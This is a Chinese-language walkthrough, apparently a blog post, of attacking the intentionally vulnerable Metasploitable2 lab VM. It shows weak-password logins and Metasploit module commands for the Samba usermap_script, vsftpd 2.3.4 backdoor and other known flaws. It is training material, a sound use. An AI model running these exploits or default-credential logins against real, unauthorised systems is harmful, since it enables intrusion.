Metasploitable2靶机学习

什么是Metasploitable2？

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统，本身设计作为安全工具测试和演示常见漏洞攻击。

使用步骤

下载地址：https://sourceforge.net/projects/metasploitable/files/latest/download
默认用户名密码都为：msfadmin
下载下来后直接双击

网卡模式我默认为NAT模式(NAT模式与自己wifi同网段，使用kali时也要在同一网段可以进行ping通)。

靶机漏洞

在进行漏洞测试之前可以扫一下端口

靶机ip为192.168.126.148
kali的ip为192.168.126.130

1、弱口令漏洞

系统弱密码

telnet 192.168.126.148
账号密码都为msfadmin

Mysql弱密码

使用mysql -h 192.168.126.148 -u root 直接登录成功

PostgresQL弱密码

使用psql -h 192.168.126.147 -U postgres
密码：postgres 登录成功

VNC远程登录弱密码

使用vnciewer 192.168.126.148
密码password直接登录

2、Samba MS-RPC Shell命令注入漏洞

漏洞产生的原因：通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh，在smb.conf中，导致允许远程命令执行。

1、在kali中启用msfconsole

2、搜索相对应的samba漏洞代码 search samba

3、使用exploit/multi/samba/usermap_script

use exploit/multi/samba/usermap_script

4、设置参数

set rhosts 192.168.126.148

5、执行命令，查看目录

run
ls

3、Vsftpd源码包含后门漏洞

漏洞产生原因:在特定版本的vsftpd服务器程序中，被人恶意植入代码，当用户名以“: )”结尾时，服务器就会在6200端口监听，并且能够执行任意代码

1、在kali中启用msfconsole

2、搜索关于Vsftpd相关的漏洞库

search vsftpd

3、使用exploit/unix/ftp/vsftpd_234_backdoor

use exploit/unix/ftp/vsftpd_234_backdoor

4、设置参数

set rhosts 192.168.126.148

5、执行命令

4、UnreallRCd后门漏洞

漏洞产生的原因：在2009年11月到2010年6月间分布于某些镜面站点的UnreallRCd，在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码，远程攻击者能够执行任意代码

以上第一步第二步不在进行截图

1、找到相对应的模块进行使用

2、设置相对应的参数

3、执行

5、PHP CGI 参数注入执行漏洞

漏洞介绍:GI脚本没有正确处理请求参数，导致源代码泄露，允许远程攻击者在请求参数中插入执行命令。

1、找到相对应的模块进行使用

2、设置相对应的参数

3、执行

6、Ingreslock后门漏洞

漏洞介绍：Ingreslock 后门程序监听在1524端口，连接到1524端口就可以直接获得root权限

1、执行telnet命令

2、执行直接成功登录查看权限

7、Postgres共享库代码任意执行

漏洞介绍：在一些默认的Linux安装的PostgreSQL，postgres服务账户可以写到/tmp目录，还有共享库，允许任意执行代码

1、找到相对应的模块进行使用

2、设置相对应的参数

3、执行

总结：该靶场还有一些其他的漏洞大家可以参考一下其他师傅编写的。